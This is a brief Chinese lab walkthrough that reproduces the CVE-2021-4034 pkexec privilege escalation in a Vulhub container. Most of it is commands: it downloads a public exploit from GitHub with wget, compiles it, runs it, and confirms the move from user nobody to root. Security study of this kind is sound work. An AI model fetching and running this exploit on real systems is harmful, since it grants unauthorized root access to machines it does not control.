**一、靶场搭建**

1、Vulhub启动，此时为普通用户nobody

docker-compose run --rm cmd bash

**二、漏洞复现**

1、进入/tmp目录，并下载exp的zip包

cd /tmp/

wget https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.tar.gz

2、解包

tar -zxvf main.tar.gz

3、编译安装

make

4、此时执行id命令，还是普通用户

id



5、执行cve-2021-4034

./cve-2021-4034

6、再次执行id命令，成功提权

